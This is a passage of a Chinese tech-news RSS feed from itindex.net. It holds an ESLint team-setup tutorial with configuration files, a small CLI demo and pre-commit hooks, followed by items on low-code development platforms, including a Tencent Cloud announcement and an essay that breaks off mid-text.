&lt;li&gt;基于业界现有的 ESLint 规范和团队代码习惯定制一套统一的 ESLint 代码规则&lt;/li&gt;  &lt;li&gt;将统一代码规则封装成 ESLint 规则包接入&lt;/li&gt;  &lt;li&gt;将 ESLint 接入脚手架、编辑器以及研发工作流中&lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;快速上手&lt;/h2&gt; &lt;p&gt;  &lt;strong&gt;先简单介绍一下如何使用 ESLint，如果已经有所了解的同学，可以直接跳过这一节。&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;新建一个包含   &lt;code&gt;package.json&lt;/code&gt; 的目录（可以在空目录下执行   &lt;code&gt;npm init -y&lt;/code&gt;），新建一个   &lt;code&gt;index.js&lt;/code&gt;：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;// index.js
const name = &amp;apos;axuebin&amp;apos;&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;安装   &lt;code&gt;eslint&lt;/code&gt; ：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;npm install eslint --save-dev&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;然后执行   &lt;code&gt;./node_modules/.bin/eslint --init&lt;/code&gt; 或者   &lt;code&gt;npx eslint --init&lt;/code&gt; 生成一个 ESLint 配置文件   &lt;code&gt;.eslintc.js&lt;/code&gt;：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;module.exports = {
  env: {
    es2021: true,
  },
  extends: &amp;apos;eslint:recommended&amp;apos;,
  parserOptions: {
    ecmaVersion: 12,
  },
  rules: {},
};&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;生成好配置文件之后，就可以执行   &lt;code&gt;./node_modules/.bin/eslint index.js&lt;/code&gt; 或者   &lt;code&gt;npx eslint index.js&lt;/code&gt; 命令对文件进行检查。结果如下：  &lt;br /&gt;  &lt;img alt="image.png" src="https://segmentfault.com/img/remote/1460000039814307" title="image.png"&gt;&lt;/img&gt;  &lt;br /&gt;  &lt;code&gt;index.js&lt;/code&gt; 中的代码命中了   &lt;code&gt;no-unused-vars&lt;/code&gt; 这个规则，默认情况下，这个规则是会报   &lt;code&gt;error&lt;/code&gt; 的，也就是 ESLint   &lt;strong&gt;不允许代码中出现未被使用的变量&lt;/strong&gt;。这是一个好习惯，有利于代码的维护。&lt;/p&gt; &lt;h3&gt;简单配置&lt;/h3&gt; &lt;p&gt;我们来尝试配置 ESLint 的检查规则。以分号和引号举例，现在你作为团队代码规范的指定人，希望团队成员开发的代码，都是  &lt;strong&gt;单引号&lt;/strong&gt;和  &lt;strong&gt;带分号&lt;/strong&gt;的。&lt;/p&gt; &lt;p&gt;打开   &lt;code&gt;.eslintrc.js&lt;/code&gt; 配置文件，在   &lt;code&gt;rules&lt;/code&gt; 中添加相关配置项：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;module.exports = {
  env: {
    es2021: true,
  },
  extends: &amp;apos;eslint:recommended&amp;apos;,
  parserOptions: {
    ecmaVersion: 12,
  },
  rules: {
    semi: [&amp;apos;error&amp;apos;, &amp;apos;always&amp;apos;],
    quotes: [&amp;apos;error&amp;apos;, &amp;apos;single&amp;apos;],
  },
};&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;然后我们将   &lt;code&gt;index.js&lt;/code&gt; 中的代码改成：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;// index.js
const name = &amp;quot;axuebin&amp;quot;&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;执行   &lt;code&gt;eslint&lt;/code&gt; 命令之后：  &lt;br /&gt;  &lt;img alt="image.png" src="https://segmentfault.com/img/remote/1460000039814306" title="image.png"&gt;&lt;/img&gt;  &lt;br /&gt;可以看到检查结果如下：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;strong&gt;[no-unused-vars] &lt;/strong&gt;&amp;apos;name&amp;apos; is assigned a value but never used。定义了 name 变量却未使用。&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;[quotes] &lt;/strong&gt;Strings must use singlequote。字符串必须使用单引号。&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;[semi] &lt;/strong&gt;Missing semicolon。缺失分号。&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;老老实实地按照规范修改代码，使用单引号并将加上分号。当然，如果你们希望是双引号和不带分号，修改相应的配置即可。&lt;/p&gt; &lt;p&gt;具体各个规则如何配置可以查看：  &lt;a href="https://eslint.org/docs/rules" rel="nofollow noreferrer"&gt;https://eslint.org/docs/rules&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;自动修复&lt;/h3&gt; &lt;p&gt;执行   &lt;code&gt;eslint xxx --fix&lt;/code&gt; 可以自动修复一些代码中的问题，将无法自动修复的问题暴露出来。比如上文中提到的引号和分号的问题，就可以通过   &lt;code&gt;--fix&lt;/code&gt; 自动修复，而   &lt;code&gt;no-unused-vars&lt;/code&gt; 变量未使用的问题，ESLint 就无法自动修复。  &lt;br /&gt;  &lt;img alt="image.png" src="https://segmentfault.com/img/remote/1460000039814310" title="image.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h3&gt;使用配置包&lt;/h3&gt; &lt;p&gt;在   &lt;code&gt;init&lt;/code&gt; 生成的配置文件中，我们看到包含这一行代码：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;module.exports = {
  extends: &amp;quot;eslint:recommended&amp;quot;
}&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;这一行代码的意思是，使用 ESLint 的推荐配置。   &lt;code&gt;extends: &amp;apos;xxx&amp;apos;&lt;/code&gt; 就是   &lt;strong&gt;继承&lt;/strong&gt;，当前的配置继承于   &lt;code&gt;xxx&lt;/code&gt; 的配置，在此基础上进行扩展。&lt;/p&gt; &lt;p&gt;因此，我们也可以使用任意封装好的配置，可以在   &lt;a href="https://www.npmjs.com/search?q=eslint-config" rel="nofollow noreferrer"&gt;NPM&lt;/a&gt; 上或者   &lt;a href="https://github.com/search?q=eslint-config" rel="nofollow noreferrer"&gt;GItHub&lt;/a&gt; 上搜索   &lt;code&gt;eslint-config&lt;/code&gt; 关键词获取，本文我们将这类封装好的配置称作 “配置集”。比较常见的配置包有以下几个：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;strong&gt;eslint-config-airbnb&lt;/strong&gt;: Airbnb 公司提供的配置集&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;eslint-config-prettier&lt;/strong&gt;: 使用这个配置集，会关闭一些可能与 Prettier 冲突的规则&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;eslint-config-react&lt;/strong&gt;: create react app 使用的配置集&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;eslint-config-vue&lt;/strong&gt;: vuejs 使用的配置集&lt;/li&gt;  &lt;li&gt;...&lt;/li&gt;&lt;/ul&gt; &lt;h2&gt;最佳实践&lt;/h2&gt; &lt;p&gt;简单了解完 ESLint 之后，对于 ESLint 的更多使用细节以及原理，在本篇文章就不展开了，感兴趣的朋友可以在官网详细了解。本文重点还是在于  &lt;strong&gt;如何在团队工程化体系中落地 ESLint&lt;/strong&gt;，这里提几个最佳实践。&lt;/p&gt; &lt;h3&gt;抽象配置集&lt;/h3&gt; &lt;p&gt;对于独立开发者以及业务场景比较简单的小型团队而言，使用现成、完备的第三方配置集是非常高效的，可以较低成本低接入 ESLint 代码检查。&lt;/p&gt; &lt;p&gt;但是，对于中大型团队而言，在实际代码规范落地的过程中我们会发现，不可能存在一个能够完全符合团队风格的三方配置包，我们还是会在   &lt;code&gt;extends&lt;/code&gt; 三方配置集的基础上，再手动在   &lt;code&gt;rules&lt;/code&gt; 配置里加一些自定义的规则。时间长了，有可能 A 应用和 B 应用里的   &lt;code&gt;rules&lt;/code&gt; 就不一样了，就很难达到统一的目的。&lt;/p&gt; &lt;p&gt;这时候，就需要一个中心化的方式来管理配置包：  &lt;strong&gt;根据团队代码风格整理（或者基于现有的三方配置集）发布一个配置集，团队统一使用这个包，就可以做到中心化管理和更新&lt;/strong&gt;。&lt;/p&gt; &lt;p&gt;除此之外，从技术层面考虑，目前一个前端团队的面对的场景可能比较复杂。比如：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;strong&gt;技术选型不一致&lt;/strong&gt;：框架上 PC 使用 React，H5 使用 Vue；是否使用 TypeScript&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;跨端场景多&lt;/strong&gt;：Web 端和小程序端，还有 Node&lt;/li&gt;  &lt;li&gt;...&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;以上问题在真实开发中都是存在的，所以在代码规范的工程化方案落地时，一个单一功能的配置集是不够用的，这时候还需要考虑这个配置集如何抽象。&lt;/p&gt; &lt;p&gt;为了解决以上问题，这里提供一种解决方案的思路：  &lt;br /&gt;  &lt;img alt="image.png" src="https://segmentfault.com/img/remote/1460000039814308" title="image.png"&gt;&lt;/img&gt;  &lt;br /&gt;具体拆解来看，就是有一个类似 eslint-config-standard 的基础规则集（包括代码风格、变量相关、ES6 语法等），在此基础之上集成社区的一些插件（Vue/React）等，封装成统一的一个 NPM Package 发布，消费时根据当前应用类型通过不同路径来 extends 对应的配置集。&lt;/p&gt; &lt;p&gt;这里有一个 Demo，感兴趣的朋友可以看一下：  &lt;a href="http://github.com/axuebin/eslint-config-axuebin" rel="nofollow noreferrer"&gt;eslint-config-axuebin&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;开发插件&lt;/h3&gt; &lt;p&gt;ESLint 提供了丰富的配置供开发者选择，但是在复杂的业务场景和特定的技术栈下，这些通用规则是不够用的。ESLint 通过插件的形式赋予了扩展性，开发者可以自定义任意的检查规则，比如 eslint-plugin-vue / eslint-plugin-react 就是 Vue / React 框架中使用的扩展插件，官网也提供了  &lt;a href="https://eslint.org/docs/developer-guide/working-with-plugins" rel="nofollow noreferrer"&gt;相关文档&lt;/a&gt;引导开发者开发一个插件。&lt;/p&gt; &lt;p&gt;一般来说，我们也不需要开发插件，但我们至少需要了解有这么个东西。在做一些团队代码质量检查的时候，我们可能会有一些特殊的业务逻辑，这时候 ESLint 插件是可以帮助我们做一些事情。&lt;/p&gt; &lt;p&gt;这里就不展开了，主要就是一些 AST 的用法，照着官方文档就可以上手，或者可以参考现有的一些插件写法。&lt;/p&gt; &lt;h3&gt;脚手架 / CLI 工具&lt;/h3&gt; &lt;p&gt;当有了团队的统一 ESLint 配置集和插件之后，我们会将它们集成到脚手架中，方便新项目集成和开箱即用。但是对于一些老项目，如果需要手动改造还是会有一些麻烦的，这时候就可以借助于 CLI 来完成一键升级。&lt;/p&gt; &lt;p&gt;本文结合上文的 Demo   &lt;a href="http://github.com/axuebin/eslint-config-axuebin" rel="nofollow noreferrer"&gt;eslint-config-axuebin&lt;/a&gt;，设计一个简单的 CLI Demo。由于当前配置也比较简单，所以 CLI 只需要做几件简单的事情即可：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;询问用户当前项目的类型（是 JavaScript 还是 TypeScript、是 React 还是 Vue）&lt;/li&gt;  &lt;li&gt;根据项目类型写    &lt;code&gt;.eslintrc.js&lt;/code&gt; 文件&lt;/li&gt;  &lt;li&gt;根据项目类型安装所需依赖（比如 vue 需要 eslint-plugin-vue）&lt;/li&gt;  &lt;li&gt;在    &lt;code&gt;package.json&lt;/code&gt; 的    &lt;code&gt;scripts&lt;/code&gt; 中写入    &lt;code&gt;&amp;quot;lint&amp;quot;: &amp;quot;eslint src test --fix&amp;quot;&lt;/code&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;核心代码如下：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;const path = require(&amp;apos;path&amp;apos;);
const fs = require(&amp;apos;fs&amp;apos;);
const chalk = require(&amp;apos;chalk&amp;apos;);
const spawn = require(&amp;apos;cross-spawn&amp;apos;);

const { askForLanguage, askForFrame } = require(&amp;apos;./ask&amp;apos;);
const { eslintrcConfig, needDeps } = require(&amp;apos;./config&amp;apos;);

module.exports = async () =&amp;gt; {
  const language = await askForLanguage();
  const frame = await askForFrame();

  let type = language;
  if (frame) {
    type += `/${frame}`;
  }

  fs.writeFileSync(
    path.join(process.cwd(), &amp;apos;.eslintrc.js&amp;apos;),
    `// Documentation\n// https://github.com/axuebin/eslint-config-axuebin\nmodule.exports = ${JSON.stringify(
      eslintrcConfig(type),
      null,
      2
    )}`
  );

  const deps = needDeps.javascript;
  if (language === &amp;apos;typescript&amp;apos;) {
    deps.concat(needDeps.typescript);
  }
  if (frame) {
    deps.concat(needDeps[frame]);
  }

  spawn.sync(&amp;apos;npm&amp;apos;, [&amp;apos;install&amp;apos;, ...deps, &amp;apos;--save&amp;apos;], { stdio: &amp;apos;inherit&amp;apos; });
};&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;可运行的 CLI Demo 代码见：  &lt;a href="https://github.com/axuebin/axb-lint" rel="nofollow noreferrer"&gt;axb-lint&lt;/a&gt;，在项目目录下执行：  &lt;code&gt;axblint eslint&lt;/code&gt; 即可，如图：  &lt;br /&gt;  &lt;img alt="image.png" src="https://segmentfault.com/img/remote/1460000039814309" title="image.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h3&gt;自动化&lt;/h3&gt; &lt;p&gt;配置了 ESLint 之后，我们需要让开发者感知到 ESLint 的约束。开发者可以自己运行 eslint 命令来跑代码检查，这不够高效，所以我们需要一些自动化手段来做这个事情。当然 在开发时，编辑器也有提供相应的功能可以根据当前工作区下的 ESLint 配置文件来检查当前正在编辑的文件，这个不是我们关心的重点。&lt;/p&gt; &lt;p&gt;一般我们会在有以下几种方式做 ESLint 检查：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;strong&gt;开发时&lt;/strong&gt;：依赖编辑器的能力&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;手动运行&lt;/strong&gt;：在终端中手动执行 eslint 命令&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;pre-commit&lt;/strong&gt;：在提交 git 前自动执行 eslint 命令&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;ci&lt;/strong&gt;：依赖 git 的持续集成，可以将检查结果输出文件上传到服务器&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;这里提一下 pre-commit 的方案，在每一次本地开发完成提交代码前就做 ESLint 检查，保证云端的代码是统一规范的。&lt;/p&gt; &lt;p&gt;这种方式非常简单，只需要在项目中依赖   &lt;a href="https://www.npmjs.com/package/husky" rel="nofollow noreferrer"&gt;husky&lt;/a&gt; 和   &lt;a href="https://www.npmjs.com/package/lint-staged" rel="nofollow noreferrer"&gt;lint-staged&lt;/a&gt; 即可完成。安装好依赖之后，在 package.json 文件加入以下配置即可：&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;{
  &amp;quot;lint-staged&amp;quot;: {
    &amp;quot;*.{js,jsx,ts,tsx}&amp;quot;: &amp;quot;eslint --cache --fix&amp;quot;
  },
  &amp;quot;husky&amp;quot;: {
    &amp;quot;hooks&amp;quot;: {
      &amp;quot;pre-commit&amp;quot;: &amp;quot;lint-staged&amp;quot;
    }
  }
}&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;效果如图所示：  &lt;br /&gt;  &lt;img alt="image.png" src="https://segmentfault.com/img/remote/1460000039814311" title="image.png"&gt;&lt;/img&gt;  &lt;br /&gt;如果代码跑 ESLint 检查抛了 Error 错误，则会中断 commit 流程：  &lt;br /&gt;  &lt;img alt="image.png" src="https://segmentfault.com/img/remote/1460000039814312" title="image.png"&gt;&lt;/img&gt;  &lt;br /&gt;这样就可以确保提交到 GitHub 仓库上的代码是统一规范的。（当然，如果认为将这些配置文件都删了，那也是没办法的）&lt;/p&gt; &lt;h2&gt;总结&lt;/h2&gt; &lt;p&gt;本文介绍了 ESLint 在中小型前端团队的一些最佳实践的想法，大家可以在此基础上扩展，制订一套完善的 ESLint 工作流，落地到自己团队中。&lt;/p&gt; &lt;p&gt;本文是前端代码规范系列文章的其中一篇，后续还有关于 StyleLint/CommitLint/Prettier 等的文章，并且还有一篇  &lt;strong&gt;完整的关于前端代码规范工程化实践&lt;/strong&gt;的文章，敬请期待（也有可能就鸽了）。&lt;/p&gt; &lt;hr&gt;&lt;/hr&gt; &lt;p&gt;更多原创文章欢迎关注公众号「  &lt;strong&gt;玩相机的程序员&lt;/strong&gt;」，或者加我微信 xb9207 交流&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>javascript 代码规范 eslint 工程化</category>
      <guid isPermaLink="true">https://itindex.net/detail/61336-%E5%89%8D%E7%AB%AF-%E5%9B%A2%E9%98%9F-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Tue, 13 Apr 2021 10:14:23 CST</pubDate>
    </item>
    <item>
      <title>低代码开发脚手架 citrus-vuetify</title>
      <link>https://itindex.net/detail/61164-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91-%E8%84%9A%E6%89%8B%E6%9E%B6</link>
      <description>&lt;table width="100%"&gt;
                              &lt;tr&gt;
                                                                   &lt;td valign="top"&gt;项目简介 基于SpringBoot 2.3.2 + Mybatis-Plus + SpringSecurity + JWT 的前后分离后台管理系统 前端仓库地址：https://github.com/Yiuman/citrus-vuetify LiveDemo 项目特性 开箱即用，引入starter依赖后即可启动 高效开发，只需要定义实体与库表，入口继承基类的Controller，即可完成基础的增删改查操作 常用数据结构的封装与基础的CRUD实现（左右值预遍历树、普通树等） 统一的认证入口，方便的安全认证扩展，可实现多种方式...&lt;/td&gt;
                            &lt;/tr&gt;
                        &lt;/table&gt;
                        &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>后台管理系统（模板）</category>
      <guid isPermaLink="true">https://itindex.net/detail/61164-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91-%E8%84%9A%E6%89%8B%E6%9E%B6</guid>
      <pubDate>Sun, 10 Jan 2021 23:44:05 CST</pubDate>
    </item>
    <item>
      <title>腾讯云推出云开发低代码平台，帮助小白成为“开发者”</title>
      <link>https://itindex.net/detail/61040-%E8%85%BE%E8%AE%AF%E4%BA%91-%E5%87%BA%E4%BA%91-%E5%BC%80%E5%8F%91</link>
      <description>&lt;p&gt;IT之家11月29日消息 据腾讯云微信公众号消息，腾讯云的小程序云开发已经成为国内最大的 Serverless 开发平台。同时，腾讯云从今天起，正式推出云开发低代码平台。&lt;/p&gt; &lt;p&gt;据腾讯方面公布数据，目前云开发注册用户数已达 56 万，较去年同期增长 1.5 倍；所服务的开发者超过 100 万；日调用次数超过 7 亿。  &lt;br /&gt;&lt;/p&gt; &lt;p&gt;官方称，云开发低代码平台始于去年云开发大会最后的悬念——“重新定义开发”。腾讯云表示，通过云开发低代码平台，无需或少量代码就可以快速生成应用程序，用户可以通过拖拽相应的功能模块，创建应用，可以让越来越多的小白成为 “开发者”。&lt;/p&gt; &lt;p&gt;IT之家了解到，低代码开发平台 LCDP 即为 Low-Code Development Platform，意义在于可以帮助开发者提升生产效率，避免进行重复性工作，使其可以更加专注于业务逻辑、架构和算法设计。  &lt;br /&gt;&lt;/p&gt; &lt;p&gt;腾讯云举例称，粤省事小程序如果现在要开发一个 “贫困认证”的功能，可以通过低代码平台直接复用政务基础组件和已有业务逻辑抽象。基于此，新功能代码行数从 2000 多行降低到 61 行，文件个数从 42 个缩减为 1 个，其交付效率大幅度提升。&lt;/p&gt; &lt;p&gt;此外，中国电子技术标准化研究院今日启动了《信息技术 云计算 云开发通用技术要求》标准编制工作，这将成为云计算领域首个云开发标准。&lt;/p&gt; &lt;p&gt;  &lt;img src="https://img.ithome.com/newsuploadfiles/2020/11/20201129130818_8338.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;▲ 图源官方&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61040-%E8%85%BE%E8%AE%AF%E4%BA%91-%E5%87%BA%E4%BA%91-%E5%BC%80%E5%8F%91</guid>
      <pubDate>Sun, 29 Nov 2020 13:11:30 CST</pubDate>
    </item>
    <item>
      <title>低代码开发平台-对云原生整体解决方案的关键补充</title>
      <link>https://itindex.net/detail/61009-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91-%E5%B9%B3%E5%8F%B0</link>
      <description>&lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p1-tt.byteimg.com/origin/dfic-imagehandler/3272d2a6-1380-4e26-bd3b-a13d7544924b?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;今天准备再谈下对低代码开发平台的扩展思考，最近2到3年，低代码开发平台可以算作一个小热点，不论是传统的BPM厂家，还是原来的快速开发平台厂家，包括还有一些中台建设厂家都逐步推出自己的低代码开发平台。&lt;/p&gt;  &lt;p&gt;对于低代码开发平台的分析，我在前面专门写过一篇文章可以参考&lt;/p&gt;  &lt;p&gt;    &lt;a href="https://www.toutiao.com/i6853256108052742660/?group_id=6853256108052742660" rel="noopener noreferrer" target="_blank"&gt;从快速开发平台到低代码开发平台&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;从这篇文章大家可以对低代码平台有个初步的了解。如果简单地总结低代码开发平台，可以理解为一切皆是可配置，可建模的。而本书建模的关键又在于对业务领域和现实世界的大量实践和抽象。因此这篇文章我准备再谈下低代码平台的一些核心要素，以及低代码开发平台和云原生整体解决方案架构之间的关系。&lt;/p&gt;  &lt;h1&gt;低代码开发平台概述&lt;/h1&gt;  &lt;p&gt;对于低代码开发平台，百度词条有一个基础定义，如下：&lt;/p&gt;  &lt;blockquote&gt;    &lt;p&gt;低代码开发平台（LCDP）是无需编码（0代码）或通过少量代码就可以快速生成应用程序的开发平台。通过可视化进行应用程序开发的方法（参考可视编程语言），使具有不同经验水平的开发人员可以通过图形化的用户界面，使用拖拽组件和模型驱动的逻辑来创建网页和移动应用程序。低代码开发平台在完成业务逻辑、功能构建后，即可一键交付应用并进行更新。&lt;/p&gt;&lt;/blockquote&gt;  &lt;p&gt;如果再对这个定义里面的关键内容做下提取，其核心包括：&lt;/p&gt;  &lt;ul&gt;    &lt;li&gt;      &lt;strong&gt;无须编码或少量编码&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;      &lt;strong&gt;可视化和可配置化，通过组装或配置构建应用&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;在这两点之外，还有一个关于过程支撑层面的，即整个开发完成的应用上线或交付过程应该足够简单和自动化，包括上面提到的可以实现配置立即生效，实现一键交付等。&lt;/p&gt;  &lt;p&gt;    &lt;strong&gt;低代码开发平台的核心要素&lt;/strong&gt;&lt;/p&gt;  &lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p6-tt.byteimg.com/origin/pgc-image/e0a5ad175fba4e07a42e865b932bc3dd?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;当前有很多提供低代码开发平台的服务商，各家的方案或整体架构虽然有差异，但是本质的内容基本还是一致，即一切皆是可配置，可建模的。&lt;/p&gt;  &lt;blockquote&gt;    &lt;p&gt;可以设想下开发一个简单功能的过程，基本也就是数据库表设计，前端界面设计，编写逻辑层代码和接口实现业务规则，挂接流程引擎实现流程，配置功能和数据权限等。&lt;/p&gt;&lt;/blockquote&gt;  &lt;p&gt;所以任何一个低代码开发平台都需要围绕这个核心去抽象和建模，找出共性的和业务无关的东西进行技术沉淀，即我们常说的。&lt;/p&gt;  &lt;blockquote&gt;    &lt;p&gt;完全标准的东西直接标准化&lt;/p&gt;    &lt;p&gt;非标准但是同样场景的东西，通过抽象差异来实现参数化配置&lt;/p&gt;&lt;/blockquote&gt;  &lt;p&gt;大家可以看到，实际我们LCDP平台的构建基本就是围绕上面思路展开。那么一个LCDP平台的核心要素究竟是啥，具体我重新画了一张图来说明。&lt;/p&gt;  &lt;div&gt;    &lt;img alt="&amp;#20302;&amp;#20195;&amp;#30721;&amp;#24320;&amp;#21457;&amp;#24179;&amp;#21488;-&amp;#23545;&amp;#20113;&amp;#21407;&amp;#29983;&amp;#25972;&amp;#20307;&amp;#35299;&amp;#20915;&amp;#26041;&amp;#26696;&amp;#30340;&amp;#20851;&amp;#38190;&amp;#34917;&amp;#20805;" src="https://p1-tt.byteimg.com/origin/pgc-image/c84ed04e74204a92918709e11ec0d269?from=pc"&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;即LCDP平台的核心包括了上图中的数据建模，表单建模，流程建模，权限建模，报表建模和规则建模几个关键部分的内容，通过这些建模组件，包括这些组件之间本身的协同来完成一个完整业务系统和功能的构建。&lt;/p&gt;  &lt;p&gt;对于上图中的内容我不准备太详细说明，这里只谈里面的一些关键点。&lt;/p&gt;  &lt;p&gt;数据建模这里一般有三种做法。其一是从后到前，即直接进行类似数据库的设计，然后朝前生成对象和数据访问接口等；其二是前到后，即直接进行表单设计，通过表单属性定义来生成后端数据库表；其三是对象建模，先生成对象，然后对象朝前服务于前端界面，朝后生成数据库表。而这里建议是    &lt;strong&gt;对象建模双向生成和服务思路，这样基本更满足OO和领域建模思想。&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;你可以很容易实现大量可复用的前端UI界面组件，类似组合框，Grid表格，树列表等，也很容易实现UI控件和数据建模对象的绑定。但是表单建模的难点不在这里，而是在于    &lt;strong&gt;规则能否提取可配置，和规则引擎的集成，和流程引擎集成，表单中基于事件驱动的多控件协同&lt;/strong&gt;。这些内容在写代码实现并不复杂，但是要做到完全灵活可配置不容易。&lt;/p&gt;  &lt;p&gt;原来谈到快速开发感觉从单表支撑到多表支撑，从多表到复杂关系和关联表支撑不容易，现在看多表支撑仅仅是基础的基础，没有难度。真正的难度仍然在规则配置的灵活，在事件协同和控制逻辑的灵活。&lt;/p&gt;  &lt;p&gt;流程建模不能是简单的HWF人工工作流引擎，而应该增加自动化业务流集成能力，同时自动化的业务活动节点本身还可以调用规则引擎接口实现复杂的规则处理。其次，流程和权限本身是相对紧耦合的内容，在流程建模中还必须实现和权限模型的紧密协同和集成。&lt;/p&gt;  &lt;p&gt;也就是说    &lt;strong&gt;权限集成能力，规则集成能力，自动化业务流集成能力才是流程建模的重点。&lt;/strong&gt;&lt;/p&gt;  &lt;blockquote&gt;    &lt;p&gt;因为即使一个复杂业务规则无法通过规则引擎，通过可配置方式实现，我们还可以开发一个独立的微服务来实现业务规则并提供API接口，这个时候只需要在流程引擎中增加一个自动化业务编排节点，并配置来调用这个API接口即可。&lt;/p&gt;&lt;/blockquote&gt;  &lt;p&gt;权限模型，基础仍然是RBAC，核心是资源定义，因为对于细化到按钮级的操作，数据分域分组全部都可以作为资源的抽象展现形式。数据权限往往是最难进行定义和配置的内容，因为数据权限既可能涉及到纵向字段级别的细粒度定义，也会涉及到横向不同的组织单元的细粒度定义。&lt;/p&gt;  &lt;p&gt;上图中我将规则引擎和报表引擎作为能力扩展项，没有这两个能力也不影响一个基本的表单实现并挂接流程运转起来。&lt;/p&gt;  &lt;p&gt;规则建模是最难的，大家也可以观察到规则引擎这么多年的发展仍然很难完全实现灵活可配置化。好的快速开发平台往往    &lt;strong&gt;提供了规则实现的自定义脚本，但是你真正用后会发现越来越是个大坑&lt;/strong&gt;，这种脚本大量编写，导致后期极其难以维护。&lt;/p&gt;  &lt;p&gt;规则本身和上层实现松耦合，定义好的规则本身应该可以灵活的应用到上述的表单建模，流程建模，报表建模过程中。&lt;/p&gt;  &lt;p&gt;报表建模没有任何难点，仅仅是实现工作量的事情，因此也可以将报表建模看做是表单建模的一个能力扩展。报表建模需要考虑更多的导出，打印，可视化美观展现等。&lt;/p&gt;  &lt;h1&gt;从单业务系统到组织级扩展&lt;/h1&gt;  &lt;p&gt;对于低代码开发平台，在引入的时候一定要考虑是仅仅开发一个业务系统，还是要作为组织级的共性基础技术平台，即后续所有的业务系统都需要基于低代码开发平台进行开发。&lt;/p&gt;  &lt;p&gt;当平台上升到组织级的时候，你会发现和前面讲过的企业内部的信息化建设，应该参考类似私有云PaaS平台的平台+应用构建模式。&lt;/p&gt;  &lt;p&gt;这个    &lt;strong&gt;平台既包括了技术平台，也包括了共性能力的业务平台&lt;/strong&gt;。&lt;/p&gt;  &lt;p&gt;那么一个企业在前期，能够真正积累落地的共性基础业务平台只有4A平台，即我们常说的实现人才，组织的统一管理和归口，同时基于4A来构建统一门户，实现统一认证和单点登录。&lt;/p&gt;  &lt;p&gt;那么基于低代码开发平台开发的应用实际应该是整个架构里面的一个小应用。&lt;/p&gt;  &lt;div&gt;    &lt;img 